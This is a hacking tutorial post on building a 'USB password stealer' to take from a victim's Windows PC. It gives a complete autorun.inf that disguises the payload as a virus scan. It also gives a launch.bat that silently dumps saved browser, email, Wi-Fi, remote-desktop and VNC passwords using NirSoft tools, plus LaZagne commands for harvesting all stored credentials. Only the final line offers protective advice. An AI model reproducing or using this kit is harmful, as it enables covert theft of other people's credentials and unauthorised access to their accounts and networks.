​Create a USB Password Stealer

Create a USB Password Stealer

 

 

Hello friend now i have something old tricks you can make your own password stealer

pen drive first of all  Extracting files from zip and paste it your pen drive 

double click on launch file and you get all saved password from browser.

download this file from  here

Slacking on password security can have horrific consequences. Even so, it's easy to lose track of how many are vulnerable. With just a couple of files, you can steal passwords from nearly everywhere they're stored on a victim's Windows PC, including your own, just to see how secure they really are.

This post is part of our Evil Week series at Lifehacker, where we look at the dark side of getting things done. Knowing evil means knowing how to beat it, so you can use your sinister powers for good. Want more? Check out our evil week tag page.

Download Click here

Click here

A good rule of thumb is that if you've stored a password on your computer, you've made it possible for someone else to steal with something as simple as a USB flash drive and a one-click script. This includes everything from wireless network keys to passwords you've saved in your browser. Hacker's Handbook has a great guide for the more experienced user, but we'll break it down for beginners here:

Create USB Password Stealer:-

So what things we will need first and most important thing that we need is a USB Flash drive after that we need some password recovery tools and NirSoft has a ton of tools that we can use. We’re going to use a few that recover passwords to create our ultimate USB tool.

Now the tools I am using can be downloaded from here following are the name of tools that we are going to use:-

• MessenPass
• Mail PassView
• Protected Storage PassView
• Dialupass
• BulletsPassView
• Network Password Recovery
• SniffPass Password Sniffer
• RouterPassView
• PstPassword
• WebBrowserPassView
• WirelessKeyView
• Remote Desktop PassView
• VNCPassView

After you have downloaded these files move them to your USB.

Creating AutoRun Script (Work only on Windows XP):-

So the next step is to create an Autorun script so we don’t have to do manual work. But unfortunately the autorun have been disabled on Windows  7 and above so is your target is a Windows XP user then we will create a file with the following Details.

File Name: autorun.inf

Edit it with notepad and paste the following code in it:-

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

Now we need to create a .bat file with will run the tools and gather passwords from the computer.

File Name: launch.bat

and paste the following script in it.

start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt<br>start pspv.exe /stext pspv.txt
start Dialupass.exe /stext Dialupass.txt
start BulletsPassView.exe /stext BulletsPassView.txt
start netpass.exe /stext netpass.txt
start sniffpass.exe /stext sniffpass.txt
start RouterPassView.exe /stext RouterPassView.txt
start PstPassword.exe /stext PstPassword.txt
start WebBrowserPassView.exe /stext WebBrowserPassView.txt
start WirelessKeyView.exe /stext WirelessKeyView.txt
start rdpv.exe /stext rdpv.txt
start VNCPassView.exe /stext VNCPassView.txt

For Windows 7 and Above:-

So now for the users running Windows 7 and above the simple thing what you can do is just plug in you USB password stealer into victims computer and Run launch.bat and it will do all the work for you.

And now you have hacked all the passwords stored on that computer.

The LaZagne Project !!! An all in One Password Recovery Tool:-

The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software.

It is a really cool tool that can be used for the same reason. Here you can get the full source code of the tool. GitHub Lazagne

You can download the executable windows file from here:-

Standalone Executable: https://github.com/AlessandroZ/LaZagne/releases/

The cool this about this tools is that it is available for Linux.

Here is how you can use it.

Usage

• Retrieve version

laZagne.exe --version

• Launch all modules

laZagne.exe all

• Launch only a specific module

laZagne.exe browsers

• Launch only a specific software script

laZagne.exe browsers -f (for firefox)

• Write all passwords found into a file (-oN for Normal txt, -oJ for Json, -oA for All)

laZagne.exe all -oN

• Get help

laZagne.exe -h
laZagne.exe browsers -h

• Use a file for dictionary attacks (used only when it’s necessary: mozilla masterpassword, system hahes, etc.). The file has to be a wordlist in cleartext (no rainbow), it has not been optmized to be fast but could useful for basic passwords.

laZagne.exe all -path file.txt

• Change verbosity mode (2 different levels)

laZagne.exe all -vv

Note: For wifi passwords \ Windows Secrets, launch it with administrator privileges (UAC Authentication / sudo)

Here is the list of software it support.

How to Protect From It.

Disable Autorun on your pc. Don’t plugin unknow USB drive in your pc.